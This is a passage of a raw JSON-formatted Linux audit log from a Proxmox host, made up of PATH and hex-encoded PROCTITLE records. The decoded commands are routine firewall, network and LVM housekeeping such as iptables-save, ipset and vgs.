cap_fver=0 cap_frootid=0"} {"@timestamp":1781964705582,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964705.582:62232): proctitle=69707365740073617665"} {"@timestamp":1781964145748,"@rawstring":"node=pve type=PATH msg=audit(1781964145.748:59777): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964705576,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964705.576:62231): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964145742,"@rawstring":"node=pve type=PATH msg=audit(1781964145.742:59776): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964705569,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964705.569:62230): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964145742,"@rawstring":"node=pve type=PATH msg=audit(1781964145.742:59776): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964705352,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964705.352:62229): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964145735,"@rawstring":"node=pve type=PATH msg=audit(1781964145.735:59775): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964705352,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964705.352:62228): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964145735,"@rawstring":"node=pve type=PATH msg=audit(1781964145.735:59775): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964705352,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964705.352:62227): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964145731,"@rawstring":"node=pve type=PATH msg=audit(1781964145.731:59774): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964705344,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964705.344:62226): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964145731,"@rawstring":"node=pve type=PATH msg=audit(1781964145.731:59774): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964705344,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964705.344:62225): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964145728,"@rawstring":"node=pve type=PATH msg=audit(1781964145.728:59773): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964705344,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964705.344:62224): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964145728,"@rawstring":"node=pve type=PATH msg=audit(1781964145.728:59773): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964704986,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964704.986:62223): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781964145726,"@rawstring":"node=pve type=PATH msg=audit(1781964145.726:59772): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964704952,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964704.952:62222): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781964145726,"@rawstring":"node=pve type=PATH msg=audit(1781964145.726:59772): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964700336,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964700.336:62221): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964145726,"@rawstring":"node=pve type=PATH msg=audit(1781964145.726:59771): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964700336,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964700.336:62220): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964145722,"@rawstring":"node=pve type=PATH msg=audit(1781964145.722:59770): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964700336,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964700.336:62219): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964145722,"@rawstring":"node=pve type=PATH msg=audit(1781964145.722:59770): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964700328,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964700.328:62218): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964145722,"@rawstring":"node=pve type=PATH msg=audit(1781964145.722:59770): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964700328,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964700.328:62217): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964145715,"@rawstring":"node=pve type=PATH msg=audit(1781964145.715:59769): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964700328,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964700.328:62216): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964145715,"@rawstring":"node=pve type=PATH msg=audit(1781964145.715:59769): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964699877,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964699.877:62215): proctitle=61776B007B2073756D202B3D202431207D3B20454E44207B207072696E7466202822252E3066222C2073756D29207D"} {"@timestamp":1781964145708,"@rawstring":"node=pve type=PATH msg=audit(1781964145.708:59768): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964699877,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964699.877:62214): proctitle=7073002D43006B766D002D6F00707373"} {"@timestamp":1781964145708,"@rawstring":"node=pve type=PATH msg=audit(1781964145.708:59768): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964699876,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964699.876:62213): proctitle=61776B002F5E284D656D467265657C427566666572737C436163686564293A2F207B66726565202B3D2024327D3B20454E44207B207072696E7466202822252E3066222C206672656529207D002F70726F632F6D656D696E666F"} {"@timestamp":1781964145702,"@rawstring":"node=pve type=PATH msg=audit(1781964145.702:59767): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964695560,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964695.560:62212): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964145702,"@rawstring":"node=pve type=PATH msg=audit(1781964145.702:59767): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964695557,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964695.557:62211): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964145696,"@rawstring":"node=pve type=PATH msg=audit(1781964145.696:59766): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964695556,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964695.556:62210): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964145696,"@rawstring":"node=pve type=PATH msg=audit(1781964145.696:59766): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964695556,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964695.556:62209): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964145690,"@rawstring":"node=pve type=PATH msg=audit(1781964145.690:59765): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964695552,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964695.552:62208): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964145690,"@rawstring":"node=pve type=PATH msg=audit(1781964145.690:59765): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964695546,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964695.546:62207): proctitle=\"ip6tables-save\""} {"@timestamp":1781964144438,"@rawstring":"node=pve type=PATH msg=audit(1781964144.438:59764): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964695540,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964695.540:62206): proctitle=\"iptables-save\""} {"@timestamp":1781964144438,"@rawstring":"node=pve type=PATH msg=audit(1781964144.438:59764): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964695534,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964695.534:62205): proctitle=\"ip6tables-save\""} {"@timestamp":1781964144401,"@rawstring":"node=pve type=PATH msg=audit(1781964144.401:59763): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964695528,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964695.528:62204): proctitle=\"iptables-save\""} {"@timestamp":1781964144401,"@rawstring":"node=pve type=PATH msg=audit(1781964144.401:59763): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964695525,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964695.525:62203): proctitle=\"ebtables-restore\""} {"@timestamp":1781964143082,"@rawstring":"node=pve type=PATH msg=audit(1781964143.082:59762): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964695523,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964695.523:62202): proctitle=\"ebtables-restore\""} {"@timestamp":1781964143082,"@rawstring":"node=pve type=PATH msg=audit(1781964143.082:59762): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964695518,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964695.518:62201): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964143082,"@rawstring":"node=pve type=PATH msg=audit(1781964143.082:59761): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964695513,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964695.513:62200): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964143082,"@rawstring":"node=pve type=PATH msg=audit(1781964143.082:59760): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964695508,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964695.508:62199): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964143077,"@rawstring":"node=pve type=PATH msg=audit(1781964143.077:59759): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964695501,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964695.501:62198): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964143077,"@rawstring":"node=pve type=PATH msg=audit(1781964143.077:59759): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964695496,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964695.496:62197): proctitle=697073657400726573746F7265"} {"@timestamp":1781964143077,"@rawstring":"node=pve type=PATH msg=audit(1781964143.077:59758): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964695488,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964695.488:62196): proctitle=\"ip6tables-save\""} {"@timestamp":1781964143077,"@rawstring":"node=pve type=PATH msg=audit(1781964143.077:59757): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964695476,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964695.476:62195): proctitle=\"iptables-save\""} {"@timestamp":1781964138067,"@rawstring":"node=pve type=PATH msg=audit(1781964138.067:59756): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964695472,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964695.472:62194): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964138067,"@rawstring":"node=pve type=PATH msg=audit(1781964138.067:59756): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964695469,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964695.469:62193): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964138067,"@rawstring":"node=pve type=PATH msg=audit(1781964138.067:59755): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964695468,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964695.468:62192): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964138067,"@rawstring":"node=pve type=PATH msg=audit(1781964138.067:59754): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964695468,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964695.468:62191): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964138060,"@rawstring":"node=pve type=PATH msg=audit(1781964138.060:59753): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964695464,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964695.464:62190): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964138060,"@rawstring":"node=pve type=PATH msg=audit(1781964138.060:59753): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964695458,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964695.458:62189): proctitle=\"ip6tables-save\""} {"@timestamp":1781964138060,"@rawstring":"node=pve type=PATH msg=audit(1781964138.060:59752): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964695451,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964695.451:62188): proctitle=\"iptables-save\""} {"@timestamp":1781964138060,"@rawstring":"node=pve type=PATH msg=audit(1781964138.060:59751): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964695447,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964695.447:62187): proctitle=69707365740073617665"} {"@timestamp":1781964135677,"@rawstring":"node=pve type=PATH msg=audit(1781964135.677:59750): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964695441,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964695.441:62186): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964135677,"@rawstring":"node=pve type=PATH msg=audit(1781964135.677:59750): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964695435,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964695.435:62185): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964135673,"@rawstring":"node=pve type=PATH msg=audit(1781964135.673:59749): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964695322,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964695.322:62184): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964135673,"@rawstring":"node=pve type=PATH msg=audit(1781964135.673:59749): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964695322,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964695.322:62183): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964135672,"@rawstring":"node=pve type=PATH msg=audit(1781964135.672:59748): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964695322,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964695.322:62182): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964135672,"@rawstring":"node=pve type=PATH msg=audit(1781964135.672:59748): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964695314,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964695.314:62181): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964135672,"@rawstring":"node=pve type=PATH msg=audit(1781964135.672:59747): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964695314,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964695.314:62180): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964135668,"@rawstring":"node=pve type=PATH msg=audit(1781964135.668:59746): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964695314,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964695.314:62179): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964135668,"@rawstring":"node=pve type=PATH msg=audit(1781964135.668:59746): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964694881,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964694.881:62178): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781964135668,"@rawstring":"node=pve type=PATH msg=audit(1781964135.668:59746): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964694849,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964694.849:62177): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781964135662,"@rawstring":"node=pve type=PATH msg=audit(1781964135.662:59745): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964690309,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964690.309:62176): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964135662,"@rawstring":"node=pve type=PATH msg=audit(1781964135.662:59745): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964690309,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964690.309:62175): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964135655,"@rawstring":"node=pve type=PATH msg=audit(1781964135.655:59744): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964690309,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964690.309:62174): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964135655,"@rawstring":"node=pve type=PATH msg=audit(1781964135.655:59744): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964690302,"@rawstring":"node=pve type=PROCTITLE 